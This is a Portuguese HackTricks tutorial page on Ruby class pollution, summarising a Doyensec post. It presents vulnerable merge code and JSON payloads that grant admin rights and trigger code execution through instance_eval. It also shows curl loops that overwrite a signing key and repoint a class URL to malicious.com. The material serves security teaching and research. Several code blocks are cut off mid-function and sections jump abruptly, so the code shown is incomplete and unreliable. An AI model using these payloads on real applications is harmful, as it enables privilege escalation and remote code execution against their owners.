Aprenda e pratique Hacking AWS:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Este é um resumo do post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
## Mesclar em Atributos
Exemplo:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
# VULNERABLE FUNCTION that can be abused to merge attributes
1.**Escalação de Privilégios**: O método `authorize` verifica se `to_s` retorna "Admin." Ao injetar um novo atributo `to_s` através do JSON, um atacante pode fazer com que o método `to_s` retorne "Admin," concedendo privilégios não autorizados.
2.**Execução Remota de Código**: Em `health_check`, `instance_eval` executa métodos listados em `protected_methods`. Se um atacante injetar nomes de métodos personalizados (como `"puts 1"`), `instance_eval` irá executá-lo, levando à **execução remota de código (RCE)**.
1. Isso só é possível porque há uma **instrução `eval` vulnerável** executando o valor da string desse atributo.
3.**Limitação de Impacto**: Essa vulnerabilidade afeta apenas instâncias individuais, deixando outras instâncias de `User` e `Admin` inalteradas, limitando assim o escopo da exploração.
### Casos do Mundo Real <a href="#real-world-cases" id="real-world-cases"></a>
### `deep_merge` do ActiveSupport
Isso não é vulnerável por padrão, mas pode ser tornado vulnerável com algo como: 
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
```
### Hashie’s `deep_merge`
O método `deep_merge` do Hashie opera diretamente nos atributos do objeto em vez de hashes simples. Ele **impede a substituição de métodos** por atributos em uma mesclagem com algumas **exceções**: atributos que terminam com `_`, `!` ou `?` ainda podem ser mesclados no objeto.
Um caso especial é o atributo **`_`** por si só. Apenas `_` é um atributo que geralmente retorna um objeto `Mash`. E porque faz parte das **exceções**, é possível modificá-lo.
Veja o seguinte exemplo de como passando `{"_": "Admin"}` é possível contornar `_.to_s == "Admin"`:
```ruby
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person <Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin <Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User <Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
No exemplo a seguir, é possível encontrar a classe **`Person`**, e as classes **`Admin`** e **`Regular`** que herdam da classe **`Person`**. Também possui outra classe chamada **`KeySigner`**:
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
{% endcode %}
É possível modificar o valor do atributo **`@@url`** da classe pai **`Person`**.
### **Envenenando Outras Classes**
Com este payload:
{% code overflow="wrap" %}
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
{% endcode %}
É possível realizar um ataque de força bruta nas classes definidas e, em algum momento, envenenar a classe **`KeySigner`** modificando o valor de `signing_key` para `injected-signing-key`.\
Aprenda e pratique Hacking AWS:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).